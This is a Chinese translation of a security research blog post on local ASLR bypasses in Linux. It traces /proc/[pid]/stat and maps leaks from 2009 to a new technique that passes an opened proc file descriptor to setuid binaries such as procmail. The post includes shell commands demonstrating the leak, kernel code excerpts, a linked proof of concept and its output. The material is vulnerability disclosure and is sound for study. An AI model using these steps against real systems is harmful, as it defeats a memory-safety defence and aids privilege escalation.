03.02 Linux本地ASLR漏洞-攻擊層出不窮,以後也不會停息?

可領全套安全課程、配套攻防靶場

Linux本地ASLR漏洞-攻擊層出不窮,以後也不會停息?


緒論


地址空間佈局隨機化(ASLR)是一種概率性安全防禦機制,2001年由PaX Team提出並實現,2005年進入Linux上游內核(2.6.12)。


ASLR顧名思義就是每次運行可執行文件時隨機安排其地址空間,具體做法是對映射的基地址進行隨機化。有一類內存破壞漏洞需要知道內存地址才能利用,而ASLR的目的在於使這類漏洞無法利用。


過去,內存破壞漏洞需要得知並硬編碼內存地址,以返回到可執行文件中現成的指令或者通過漏洞寫入的指令,來實現任意代碼執行或者篡改關鍵的程序數據。


ASLR設計的初衷是抵禦遠程攻擊者,因為對遠程攻擊者來說,事先掌握的關於內存地址的信息極少。

回顧


對本地攻擊者來說,/proc/[pid]/一直是問題多多,成了通用信息洩露的主要來源,洩露這些信息可以繞過setuid二進制或一般的root進程的ASLR。


2009年,當時Google安全團隊的Tavis Ormandy和Julien Tinnes參加CanSecWest安全會議,會上進行了主題為《Linux ASLR的奇妙細節》(Linux ASLR Curiosities,https://www.cr0.org/paper/to-jt-linux-alsr-leak.pdf)的簡短展示,演示/proc/[pid]/stat和/proc/[pid]/wchan信息洩露,包括洩露進程指令指針(IP)和棧指針(SP)。


如果某進程無法ptrace()附加,這些信息可用於還原進程的地址空間佈局。隨後,問題據認為是修復了( https://lkml.org/lkml/2009/5/4/322 )。


十年後的2019年4月3日,一個適用於4.8以下的Linux內核的漏洞利用公開發表

( https://www.openwall.com/lists/oss-security/2019/04/03/4/1 ),該漏洞再次利用了/proc/[pid]/stat來獲取前述的setuid的IP和SP。由於load_elf_binary()(位於fs/binfmt_elf.c)調用install_exec_creds()的時機太遲,可執行文件已經被映射到地址空間,


然後才設置訪問憑據(credentials),因此攻擊者可以趁中間的空當通過ptrace_may_access()檢查,而這個檢查正是為了修復Tavis和Julien提出的攻擊而引入的。


攻擊者只要在install_exec_creds()調用前使用read()讀取/proc/[pid]/stat,就可利用此競爭條件漏洞。


2019年4月25日,CVE-2019-11190發現之後幾天,SUSE Linux的安全工程師也在Openwall的oss-sec列表上發佈了一個已知且據稱“修復”了的問題,影響的內核版本小於

3.18( https://www.openwall.com/lists/oss-security/2019/04/25/4 )。


該漏洞是任意進程的通用本地ASLR繞過,成因是對/proc/[pid]/maps偽文件的權限檢查時機不對,把在open()時進行的檢查放在了read()時。


proc(5)的man文檔指出該文件包含當前映射的內存區域及其訪問權限。

<code>$ cat /proc/self/maps
00400000-0040c000 r-xp 00000000 08:04 3670122 /bin/cat
0060b000-0060c000 r--p 0000b000 08:04 3670122 /bin/cat

0060c000-0060d000 rw-p 0000c000 08:04 3670122 /bin/cat
02496000-024b7000 rw-p 00000000 00:00 0 [heap]
7f508bd4b000-7f508beec000 r-xp 00000000 08:04 7605352 /lib/x86_64-linux-gnu/libc.so
7f508beec000-7f508c0ec000 ---p 001a1000 08:04 7605352 /lib/x86_64-linux-gnu/libc.so
7f508c0ec000-7f508c0f0000 r--p 001a1000 08:04 7605352 /lib/x86_64-linux-gnu/libc.so
7f508c0f0000-7f508c0f2000 rw-p 001a5000 08:04 7605352 /lib/x86_64-linux-gnu/libc.so
7f508c0f2000-7f508c0f6000 rw-p 00000000 00:00 0
7f508c0f6000-7f508c117000 r-xp 00000000 08:04 7605349 /lib/x86_64-linux-gnu/ld.so
7f508c164000-7f508c2ed000 r--p 00000000 08:04 800126 /usr/lib/locale/locale-archive
7f508c2ed000-7f508c2f0000 rw-p 00000000 00:00 0
7f508c2f2000-7f508c316000 rw-p 00000000 00:00 0
7f508c316000-7f508c317000 r--p 00020000 08:04 7605349 /lib/x86_64-linux-gnu/ld.so
7f508c317000-7f508c318000 rw-p 00021000 08:04 7605349 /lib/x86_64-linux-gnu/ld.so
7f508c318000-7f508c319000 rw-p 00000000 00:00 0
7ffcf3496000-7ffcf34b7000 rw-p 00000000 00:00 0 [stack]
7ffcf351b000-7ffcf351e000 r--p 00000000 00:00 0 [vvar]
7ffcf351e000-7ffcf351f000 r-xp 00000000 00:00 0 [vdso]
ffffffffff600000-ffffffffff601000 r-xp 00000000 00:00 0 [vsyscall]
/<code>

從2.6.22版開始,Linux內核只有在能ptrace()附加到某進程的情況下,才能讀取/proc/[pid]/maps,非特權用戶也就無法讀取root進程的映射偽文件(否則ASLR將形同虛設)。

<code>$ su &
[1] 2661
$ cat /proc/2661/maps
cat: /proc/2661/maps: Permission denied
/<code>

前述的Openwall發佈的文章裡指出,權限檢查在read()時進行,這一點之所以有問題,是因為非特權用戶可以打開映射文件


得到有效的文件描述符,然後將其傳給特權程序(比如setuid root),而某些特權程序可以以某種方式將文件中的內容洩露給非特權用戶(特權進程有權限read()讀取映射文件)。


為了修復此漏洞,權限檢查的時機從read()調整到了open(),代碼在下面的commit中:https://github.com/torvalds/linux/commit/29a40ace841cba9b661711f042d1821cdc4ad47c

問題


SUSE的安全工程師忘記提到的是,這個“修復”是有問題的:還有別的/proc/[pid]/偽文件可以洩露當前映射的內存地址,而它們的權限檢查還是在read()時進行的。


其中之一是/proc/[pid]/stat(又是它),信息洩露的老源頭。

<code>$ su &
[1] 2767
$ ls -l /proc/2767/stat
-r--r--r-- 1 root root 0 Feb 4 16:50 /proc/2767/stat

[1]+ Stopped su
$ cat /proc/2767/stat
2767 (su) T 2766 2767 2766 34817 2773 1077936128 266 0 1 0 0 0 0 0 20 0 1 0 181759 58273792 810 18446744073709551615 1 1 0 0 0 0 524288 6 0 0 0 0 17 1 0 0 6 0 0 0 0 0 0 0 0 0 0
/<code>

這次情況和之前有所不同。非特權用戶可以讀取不能ptrace()附加的進程所屬的/proc/[pid]/stat,但是內存地址都被填了0。


Linux 5.5中的fs/proc/array.c摘錄如下:

<code>static int do_task_stat(struct seq_file *m, struct pid_namespace *ns,
struct pid *pid, struct task_struct *task, int whole)
{

[...]

int permitted;

[...]

permitted = ptrace_may_access(task, PTRACE_MODE_READ_FSCREDS | PTRACE_MODE_NOAUDIT);

[...]

seq_put_decimal_ull(m, " ", mm ? (permitted ? mm->start_code : 1) : 0);
seq_put_decimal_ull(m, " ", mm ? (permitted ? mm->end_code : 1) : 0);
seq_put_decimal_ull(m, " ", (permitted && mm) ? mm->start_stack : 0);

[...]
}
/<code>

利用方式和SUSE安全工程師的Openwall文章中的一模一樣,只是這次讀的是/proc/[pid]/stat。


另外一些可以洩露地址的setuid二進制包括procmail、spice-client-glib-usb-acl-helper和setuid root。

下面就用procmail做個例子:

<code>$ su &
[1] 3122
$ cut -d' ' -f51 /proc/3122/stat
0

[1]+ Stopped su
$ procmail < /proc/3122/stat
$ tail -2 /var/spool/mail/user | cut -d' ' -f51
140726221803504

$ printf '0x%xn' 140726221803504

0x7ffd60760ff0

# cat /proc/3122/maps
[...]
7ffd60740000-7ffd60761000 rw-p 00000000 00:00 0 [stack]
/<code>

我們和零日漏洞項目(ZDI)進行了接觸,向他們披露了該漏洞,Linux內核開發者對此回覆,他們發現已經實現了一個可選配置,可以避免此漏洞,因此目前不會再修補漏洞。


所提到的這個配置是hidepid mount(8)參數。


然而,這個參數並不能避免問題。


我們再次援引proc(5)的man文檔:

hidepid=n (自Linux 3.3起)該選項控制誰能訪問/proc/[pid]目錄中的信息。參數n可取以下值之一:

0 任何人可以訪問任何/proc/[pid]目錄。這是以前的默認行為,現在只要mount選項未指定,也是默認行為。


1 用戶只能訪問自己的/proc/[pid]目錄下的文件和子目錄(各/proc/[pid]目錄本身仍然可見)。敏感文件(如/proc/[pid]/cmdline和/proc/[pid]/status)現在對其他用戶不可訪問


這樣就無法得知某用戶是否在運行某個特定程序(只要該程序不自己透露其存在)。


2 如模式1,加上其他用戶的/proc/[pid]目錄也不可見。這樣/proc/[pid]目錄就不能用於得知系統上所有的PID。


不能隱藏某個特定PID進程的存在(可以以其他方式得知進程存在,比如”kill -0 $PID”),但可以隱藏進程的UID和GID,這


二者在通常情況下可以通過對/proc/[pid]目錄應用stat(2)得到。


這樣可大大增加攻擊者收集當前運行進程信息的難度。

即使用hidepid=2 mount選項,攻擊者仍然可以利用漏洞:用open()打開自己進程的/proc/[pid]/stat(或/proc/[pid]/syscall、/proc/[pid]/auxv),然後對想洩露其地址的setuid二進制用execve()。

因為文件描述符在setuid execve()前就打開了(因為攻擊者可以訪問自己的偽文件),所以hidepid mount選項無法緩解此漏洞。攻擊者現在就可以將文件描述符傳給特權進程來洩露文件內容,進而洩露地址。

利用


我們在GitHub發佈了PoC,命名為ASLREKT:https://github.com/blazeinfosec/aslrekt

下面是PoC演示,使用spice-client-glib-usb-acl-helper。

<code>

$ ./aslrekt
***** ASLREKT *****
Password:
[+] /bin/su .text is at 0x564219868000
[+] /bin/su heap is at 0x56421b657000
[+] /bin/su stack is at 0x7ffe78d76000

# cat /proc/$(pidof su)/maps
564219868000-564219871000 r-xp 00000000 08:04 3674996 /bin/su
[...]
56421b657000-56421b678000 rw-p 00000000 00:00 0 [heap]
[...]
7ffe78d76000-7ffe78d97000 rw-p 00000000 00:00 0 [stack]
/<code>

總結


自從ASLR引入上游內核以來,本地ASLR攻擊層出不窮,以後也不會停息。


這不僅僅是/proc/[pid]/的緣故,還因為缺少暴力窮舉攻擊的檢測機制,比如檢測短時間內多次崩潰。Linux內核開發者似乎也對/proc/[pid]/文件潛在的問題和威脅缺乏認識,問題沒有得到恰當修復,反而提出了一個沒用的“臨時解決方法”。


另一方面,grsecurity提供了一個配置選項(CONFIG_GRKERNSEC_PROC_MEMMAP),開啟後可以防止/proc/[pid]/文件的信息洩露。


本文是翻譯文章,文章原作者blazeinfosec,文章來源:blog.blazeinfosec.com

原文地址:https://blog.blazeinfosec.com/the-never-ending-problems-of-local-aslr-holes-in-linux/


今天你學會了嗎

Linux本地ASLR漏洞-攻擊層出不窮,以後也不會停息?

加群,黑客技術大咖在線解答(群號評論區見)


分享到:


相關文章: